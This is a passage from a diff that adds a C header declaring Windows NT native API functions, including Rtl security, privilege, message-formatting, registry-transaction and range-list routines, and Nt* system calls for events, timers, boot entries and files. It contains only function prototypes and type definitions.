SelfRelativeSecurityDescriptor, + IN OUT PULONG BufferLength + ); + +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD ( + IN PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + OUT OPTIONAL PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + IN OUT PULONG AbsoluteSecurityDescriptorSize, + OUT OPTIONAL PACL Dacl, + IN OUT PULONG DaclSize, + OUT OPTIONAL PACL Sacl, + IN OUT PULONG SaclSize, + OUT OPTIONAL PSID Owner, + IN OUT PULONG OwnerSize, + OUT OPTIONAL PSID PrimaryGroup, + IN OUT PULONG PrimaryGroupSize + ); + +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD2 ( + IN OUT PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, + IN OUT PULONG pBufferSize + ); + +NTSTATUS +NTAPI +RtlNewSecurityGrantedAccess ( + ACCESS_MASK DesiredAccess, + PPRIVILEGE_SET Privileges, + PULONG Length, + HANDLE Token, + PGENERIC_MAPPING GenericMapping, + PACCESS_MASK RemainingDesiredAccess + ); + +NTSTATUS +NTAPI +RtlMapSecurityErrorToNtStatus ( + SECURITY_STATUS Error + ); + +NTSTATUS +NTAPI +RtlImpersonateSelf ( + IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel + ); + +NTSTATUS +NTAPI +RtlAdjustPrivilege ( + ULONG Privilege, + BOOLEAN Enable, + BOOLEAN Client, + PBOOLEAN WasEnabled + ); + +NTSTATUS +NTAPI +RtlAcquirePrivilege ( + PULONG Privilege, + ULONG NumPriv, + ULONG Flags, + PVOID *ReturnedState + ); + +VOID +NTAPI +RtlReleasePrivilege ( + PVOID StatePointer + ); + +VOID +NTAPI +RtlRunEncodeUnicodeString( + PUCHAR Seed OPTIONAL, + PUNICODE_STRING String + ); + +VOID +NTAPI +RtlRunDecodeUnicodeString( + UCHAR Seed, + PUNICODE_STRING String + ); + +VOID +NTAPI +RtlEraseUnicodeString( + PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlFindMessage( + PVOID DllHandle, + ULONG MessageTableId, + ULONG MessageLanguageId, + ULONG MessageId, + PMESSAGE_RESOURCE_ENTRY *MessageEntry + ); + +NTSTATUS +NTAPI +RtlFormatMessage( + IN PWSTR MessageFormat, + IN ULONG MaximumWidth, + IN BOOLEAN IgnoreInserts, + IN BOOLEAN ArgumentsAreAnsi, + IN BOOLEAN ArgumentsAreAnArray, + IN va_list *Arguments, + OUT PWSTR Buffer, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength + ); + +NTSTATUS +NTAPI +RtlFormatMessageEx( + IN PWSTR MessageFormat, + IN ULONG MaximumWidth, + IN BOOLEAN IgnoreInserts, + IN BOOLEAN ArgumentsAreAnsi, + IN BOOLEAN ArgumentsAreAnArray, + IN va_list *Arguments, + OUT PWSTR Buffer, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength, + OUT OPTIONAL PPARSE_MESSAGE_CONTEXT ParseContext + ); + +NTSTATUS +NTAPI +RtlInitializeRXact( + IN HANDLE RootRegistryKey, + IN BOOLEAN CommitIfNecessary, + OUT PRTL_RXACT_CONTEXT *RXactContext + ); + +NTSTATUS +NTAPI +RtlStartRXact( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlAbortRXact( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlAddAttributeActionToRXact( + IN PRTL_RXACT_CONTEXT RXactContext, + IN RTL_RXACT_OPERATION Operation, + IN PUNICODE_STRING SubKeyName, + IN HANDLE KeyHandle, + IN PUNICODE_STRING AttributeName, + IN ULONG NewValueType, + IN PVOID NewValue, + IN ULONG NewValueLength + ); + +NTSTATUS +NTAPI +RtlAddActionToRXact( + IN PRTL_RXACT_CONTEXT RXactContext, + IN RTL_RXACT_OPERATION Operation, + IN PUNICODE_STRING SubKeyName, + IN ULONG NewKeyValueType, + IN PVOID NewKeyValue OPTIONAL, + IN ULONG NewKeyValueLength + ); + +NTSTATUS +NTAPI +RtlApplyRXact( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlApplyRXactNoFlush( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +ULONG +NTAPI +RtlNtStatusToDosError ( + NTSTATUS Status + ); + +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb ( + NTSTATUS Status + ); + +PPEB +RtlGetCurrentPeb ( + VOID + ); + +NTSTATUS +NTAPI +RtlCustomCPToUnicodeN( + IN PCPTABLEINFO CustomCP, + OUT PWCH UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString, + IN PCH CustomCPString, + IN ULONG BytesInCustomCPString + ); + +NTSTATUS +NTAPI +RtlUnicodeToCustomCPN( + IN PCPTABLEINFO CustomCP, + OUT PCH CustomCPString, + IN ULONG MaxBytesInCustomCPString, + OUT OPTIONAL PULONG BytesInCustomCPString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToCustomCPN( + IN PCPTABLEINFO CustomCP, + OUT PCH CustomCPString, + IN ULONG MaxBytesInCustomCPString, + OUT OPTIONAL PULONG BytesInCustomCPString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +VOID +NTAPI +RtlInitCodePageTable( + IN PUSHORT TableBase, + OUT PCPTABLEINFO CodePageTable + ); + +VOID +NTAPI +RtlInitNlsTables( + IN PUSHORT AnsiNlsBase, + IN PUSHORT OemNlsBase, + IN PUSHORT LanguageNlsBase, + OUT PNLSTABLEINFO TableInfo + ); + +VOID +NTAPI +RtlResetRtlTranslations( + PNLSTABLEINFO TableInfo + ); + +VOID +NTAPI +RtlGetDefaultCodePage( + OUT PUSHORT AnsiCodePage, + OUT PUSHORT OemCodePage + ); + +VOID +NTAPI +RtlInitializeRangeList( + IN OUT PRTL_RANGE_LIST RangeList + ); + +VOID +NTAPI +RtlFreeRangeList( + IN PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlCopyRangeList( + OUT PRTL_RANGE_LIST CopyRangeList, + IN PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlAddRange( + IN OUT PRTL_RANGE_LIST RangeList, + IN ULONGLONG Start, + IN ULONGLONG End, + IN UCHAR Attributes, + IN ULONG Flags, + IN PVOID UserData, OPTIONAL + IN PVOID Owner OPTIONAL + ); + +NTSTATUS +NTAPI +RtlDeleteRange( + IN OUT PRTL_RANGE_LIST RangeList, + IN ULONGLONG Start, + IN ULONGLONG End, + IN PVOID Owner + ); + +NTSTATUS +NTAPI +RtlDeleteOwnersRanges( + IN OUT PRTL_RANGE_LIST RangeList, + IN PVOID Owner + ); + +NTSTATUS +NTAPI +RtlFindRange( + IN PRTL_RANGE_LIST RangeList, + IN ULONGLONG Minimum, + IN ULONGLONG Maximum, + IN ULONG Length, + IN ULONG Alignment, + IN ULONG Flags, + IN UCHAR AttributeAvailableMask, + IN PVOID Context OPTIONAL, + IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, + OUT PULONGLONG Start + ); + +NTSTATUS +NTAPI +RtlIsRangeAvailable( + IN PRTL_RANGE_LIST RangeList, + IN ULONGLONG Start, + IN ULONGLONG End, + IN ULONG Flags, + IN UCHAR AttributeAvailableMask, + IN PVOID Context OPTIONAL, + IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, + OUT PBOOLEAN Available + ); + +NTSTATUS +NTAPI +RtlGetFirstRange( + IN PRTL_RANGE_LIST RangeList, + OUT PRTL_RANGE_LIST_ITERATOR Iterator, + OUT PRTL_RANGE *Range + ); + +NTSTATUS +NTAPI +RtlGetLastRange( + IN PRTL_RANGE_LIST RangeList, + OUT PRTL_RANGE_LIST_ITERATOR Iterator, + OUT PRTL_RANGE *Range + ); + +NTSTATUS +NTAPI +RtlGetNextRange( + IN OUT PRTL_RANGE_LIST_ITERATOR Iterator, + OUT PRTL_RANGE *Range, + IN BOOLEAN MoveForwards + ); + +NTSTATUS +NTAPI +RtlMergeRangeLists( + OUT PRTL_RANGE_LIST MergedRangeList, + IN PRTL_RANGE_LIST RangeList1, + IN PRTL_RANGE_LIST RangeList2, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlInvertRangeList( + OUT PRTL_RANGE_LIST InvertedRangeList, + IN PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlVolumeDeviceToDosName( + IN PVOID VolumeDeviceObject, + OUT PUNICODE_STRING DosName + ); + +NTSTATUS +NTAPI +RtlCreateSystemVolumeInformationFolder( + IN PUNICODE_STRING VolumeRootPath + ); + +#if defined(_WINNT_) && (_MSC_VER < 1300) +typedef POSVERSIONINFOW PRTL_OSVERSIONINFOW; +typedef POSVERSIONINFOEXW PRTL_OSVERSIONINFOEXW; + +typedef LONG (NTAPI *PVECTORED_EXCEPTION_HANDLER)( struct _EXCEPTION_POINTERS *ExceptionInfo ); +typedef VOID (NTAPI * APC_CALLBACK_FUNCTION) (DWORD , PVOID, PVOID); + +typedef const GUID *LPCGUID; + +#endif + +NTSTATUS +RtlGetVersion( + OUT PRTL_OSVERSIONINFOW lpVersionInformation + ); + +NTSTATUS +RtlVerifyVersionInfo( + IN PRTL_OSVERSIONINFOEXW VersionInfo, + IN ULONG TypeMask, + IN ULONGLONG ConditionMask + ); + +BOOLEAN +RtlFlushSecureMemoryCache( + PVOID lpAddr, + SIZE_T size + ); + +LONG +NTAPI +RtlGetLastWin32Error( + VOID + ); + +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + NTSTATUS Status + ); + +VOID +NTAPI +RtlSetLastWin32Error( + LONG Win32Error + ); + +VOID +NTAPI +RtlRestoreLastWin32Error( + LONG Win32Error + ); + +NTSTATUS +NTAPI +RtlGetSetBootStatusData( + IN HANDLE Handle, + IN BOOLEAN Get, + IN RTL_BSD_ITEM_TYPE DataItem, + IN PVOID DataBuffer, + IN ULONG DataBufferLength, + OUT PULONG ByteRead OPTIONAL + ); + +NTSTATUS +NTAPI +RtlLockBootStatusData( + OUT PHANDLE BootStatusDataHandle + ); + +VOID +NTAPI +RtlUnlockBootStatusData( + IN HANDLE BootStatusDataHandle + ); + +NTSTATUS +NTAPI +RtlCreateBootStatusDataFile( + VOID + ); + +// + +// +// begin_ntapi +NTSTATUS +NTAPI +NtDelayExecution( + IN BOOLEAN Alertable, + IN PLARGE_INTEGER DelayInterval + ); + + +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + OUT PWSTR VariableValue, + IN USHORT ValueLength, + OUT OPTIONAL PUSHORT ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetSystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + IN PUNICODE_STRING VariableValue + ); + + +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + OUT OPTIONAL PVOID Value, + IN OUT PULONG ValueLength, + OUT OPTIONAL PULONG Attributes + ); + + +NTSTATUS +NTAPI +NtSetSystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + IN OPTIONAL PVOID Value, + IN ULONG ValueLength, + IN ULONG Attributes + ); + + +NTSTATUS +NTAPI +NtEnumerateSystemEnvironmentValuesEx ( + IN ULONG InformationClass, + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtAddBootEntry ( + IN PBOOT_ENTRY BootEntry, + OUT OPTIONAL PULONG Id + ); + + +NTSTATUS +NTAPI +NtDeleteBootEntry ( + IN ULONG Id + ); + + +NTSTATUS +NTAPI +NtModifyBootEntry ( + IN PBOOT_ENTRY BootEntry + ); + + +NTSTATUS +NTAPI +NtEnumerateBootEntries ( + OUT OPTIONAL PVOID Buffer, + IN OUT PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtQueryBootEntryOrder ( + OUT OPTIONAL PULONG Ids, + IN OUT PULONG Count + ); + + +NTSTATUS +NTAPI +NtSetBootEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + +NTSTATUS +NTAPI +NtQueryBootOptions ( + OUT OPTIONAL PBOOT_OPTIONS BootOptions, + IN OUT PULONG BootOptionsLength + ); + + +NTSTATUS +NTAPI +NtSetBootOptions ( + IN PBOOT_OPTIONS BootOptions, + IN ULONG FieldsToChange + ); + + +NTSTATUS +NTAPI +NtTranslateFilePath ( + IN PFILE_PATH InputFilePath, + IN ULONG OutputType, + OUT OPTIONAL PFILE_PATH OutputFilePath, + IN OUT OPTIONAL PULONG OutputFilePathLength + ); + + +NTSTATUS +NTAPI +NtAddDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry, + OUT OPTIONAL PULONG Id + ); + + +NTSTATUS +NTAPI +NtDeleteDriverEntry ( + IN ULONG Id + ); + + +NTSTATUS +NTAPI +NtModifyDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry + ); + + +NTSTATUS +NTAPI +NtEnumerateDriverEntries ( + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtQueryDriverEntryOrder ( + OUT PULONG Ids, + IN OUT PULONG Count + ); + + +NTSTATUS +NTAPI +NtSetDriverEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + +NTSTATUS +NTAPI +NtClearEvent ( + IN HANDLE EventHandle + ); + + +NTSTATUS +NTAPI +NtCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + +NTSTATUS +NTAPI +NtOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtPulseEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInformationClass, + OUT PVOID EventInformation, + IN ULONG EventInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtResetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtSetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtSetEventBoostPriority ( + IN HANDLE EventHandle + ); + + +NTSTATUS +NTAPI +NtCreateEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetLowWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetHighWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetLowEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetHighEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtCreateMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN InitialOwner + ); + + +NTSTATUS +NTAPI +NtOpenMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryMutant ( + IN HANDLE MutantHandle, + IN MUTANT_INFORMATION_CLASS MutantInformationClass, + OUT PVOID MutantInformation, + IN ULONG MutantInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtReleaseMutant ( + IN HANDLE MutantHandle, + OUT OPTIONAL PLONG PreviousCount + ); + + +NTSTATUS +NTAPI +NtCreateSemaphore ( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN LONG InitialCount, + IN LONG MaximumCount + ); + + +NTSTATUS +NTAPI +NtOpenSemaphore( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQuerySemaphore ( + IN HANDLE SemaphoreHandle, + IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + OUT PVOID SemaphoreInformation, + IN ULONG SemaphoreInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtReleaseSemaphore( + IN HANDLE SemaphoreHandle, + IN LONG ReleaseCount, + OUT OPTIONAL PLONG PreviousCount + ); + + +NTSTATUS +NTAPI +NtCreateTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TIMER_TYPE TimerType + ); + + +NTSTATUS +NTAPI +NtOpenTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtCancelTimer ( + IN HANDLE TimerHandle, + OUT OPTIONAL PBOOLEAN CurrentState + ); + + +NTSTATUS +NTAPI +NtQueryTimer ( + IN HANDLE TimerHandle, + IN TIMER_INFORMATION_CLASS TimerInformationClass, + OUT PVOID TimerInformation, + IN ULONG TimerInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetTimer ( + IN HANDLE TimerHandle, + IN PLARGE_INTEGER DueTime, + IN OPTIONAL PTIMER_APC_ROUTINE TimerApcRoutine, + IN OPTIONAL PVOID TimerContext, + IN BOOLEAN ResumeTimer, + IN OPTIONAL LONG Period, + OUT OPTIONAL PBOOLEAN PreviousState + ); + + +NTSTATUS +NTAPI +NtQuerySystemTime ( + OUT PLARGE_INTEGER SystemTime + ); + + +NTSTATUS +NTAPI +NtSetSystemTime ( + IN OPTIONAL PLARGE_INTEGER SystemTime, + OUT OPTIONAL PLARGE_INTEGER PreviousTime + ); + + +NTSTATUS +NTAPI +NtQueryTimerResolution ( + OUT PULONG MaximumTime, + OUT PULONG MinimumTime, + OUT PULONG CurrentTime + ); + + +NTSTATUS +NTAPI +NtSetTimerResolution ( + IN ULONG DesiredTime, + IN BOOLEAN SetResolution, + OUT PULONG ActualTime + ); + + +NTSTATUS +NTAPI +NtAllocateLocallyUniqueId ( + OUT PLUID Luid + ); + + +NTSTATUS +NTAPI +NtSetUuidSeed ( + IN PCHAR Seed + ); + + +NTSTATUS +NTAPI +NtAllocateUuids ( + OUT PULARGE_INTEGER Time, + OUT PULONG Range, + OUT PULONG Sequence, + OUT PCHAR Seed + ); + + +NTSTATUS +NTAPI +NtCreateProfile ( + OUT PHANDLE ProfileHandle, + IN HANDLE Process OPTIONAL, + IN PVOID ProfileBase, + IN SIZE_T ProfileSize, + IN ULONG BucketSize, + IN PULONG Buffer, + IN ULONG BufferSize, + IN KPROFILE_SOURCE ProfileSource, + IN KAFFINITY Affinity + ); + + +NTSTATUS +NTAPI +NtStartProfile ( + IN HANDLE ProfileHandle + ); + + +NTSTATUS +NTAPI +NtStopProfile ( + IN HANDLE ProfileHandle + ); + + +NTSTATUS +NTAPI +NtSetIntervalProfile ( + IN ULONG Interval, + IN KPROFILE_SOURCE Source + ); + + +NTSTATUS +NTAPI +NtQueryIntervalProfile ( + IN KPROFILE_SOURCE ProfileSource, + OUT PULONG Interval + ); + + +NTSTATUS +NTAPI +NtQueryPerformanceCounter ( + OUT PLARGE_INTEGER PerformanceCounter, + OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency + ); + + +NTSTATUS +NTAPI +NtCreateKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtOpenKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtReleaseKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtQuerySystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetSystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + IN OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength + ); + + +NTSTATUS +NTAPI +NtSystemDebugControl ( + IN SYSDBG_COMMAND Command, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtRaiseHardError ( + IN NTSTATUS ErrorStatus, + IN ULONG NumberOfParameters, + IN ULONG UnicodeStringParameterMask, + IN OPTIONAL PULONG_PTR Parameters, + IN ULONG ValidResponseOptions, + OUT PULONG Response + ); + + +NTSTATUS +NTAPI +NtQueryDefaultLocale ( + IN BOOLEAN UserProfile, + OUT PLCID DefaultLocaleId + ); + + +NTSTATUS +NTAPI +NtSetDefaultLocale ( + IN BOOLEAN UserProfile, + IN LCID DefaultLocaleId + ); + + +NTSTATUS +NTAPI +NtQueryInstallUILanguage ( + OUT LANGID *InstallUILanguageId + ); + + +NTSTATUS +NTAPI +NtQueryDefaultUILanguage ( + OUT LANGID *DefaultUILanguageId + ); + + +NTSTATUS +NTAPI +NtSetDefaultUILanguage ( + IN LANGID DefaultUILanguageId + ); + + +NTSTATUS +NTAPI +NtSetDefaultHardErrorPort( + IN HANDLE DefaultHardErrorPort + ); + + +NTSTATUS +NTAPI +NtShutdownSystem ( + IN SHUTDOWN_ACTION Action + ); + + +NTSTATUS +NTAPI +NtDisplayString ( + IN PUNICODE_STRING String + ); + + +NTSTATUS +NTAPI +NtAddAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtFindAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtDeleteAtom ( + IN RTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtQueryInformationAtom( + IN RTL_ATOM Atom, + IN ATOM_INFORMATION_CLASS AtomInformationClass, + OUT OPTIONAL PVOID AtomInformation, + IN ULONG AtomInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCancelIoFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSTATUS +NTAPI +NtCreateNamedPipeFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN ULONG NamedPipeType, + IN ULONG ReadMode, + IN ULONG CompletionMode, + IN ULONG MaximumInstances, + IN ULONG InboundQuota, + IN ULONG OutboundQuota, + IN OPTIONAL PLARGE_INTEGER DefaultTimeout + ); + + +NTSTATUS +NTAPI +NtCreateMailslotFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CreateOptions, + IN ULONG MailslotQuota, + IN ULONG MaximumMessageSize, + IN PLARGE_INTEGER ReadTimeout + ); + + +NTSTATUS +NTAPI +NtDeleteFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtFlushBuffersFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSTATUS +NTAPI +NtNotifyChangeDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree + ); + + +NTSTATUS +NTAPI +NtQueryAttributesFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_BASIC_INFORMATION FileInformation + ); + + +NTSTATUS +NTAPI +NtQueryFullAttributesFile( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation + ); + + +NTSTATUS +NTAPI +NtQueryEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList, + IN ULONG EaListLength, + IN OPTIONAL PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtCreateFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN OPTIONAL PVOID EaBuffer, + IN ULONG EaLength + ); + + +NTSTATUS +NTAPI +NtDeviceIoControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtFsControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG FsControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtLockFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key, + IN BOOLEAN FailImmediately, + IN BOOLEAN ExclusiveLock + ); + + +NTSTATUS +NTAPI +NtOpenFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + +NTSTATUS +NTAPI +NtQueryDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PUNICODE_STRING FileName, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtQueryInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSTATUS +NTAPI +NtQueryQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PVOID SidList, + IN ULONG SidListLength, + IN OPTIONAL PSID StartSid, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtQueryVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSTATUS 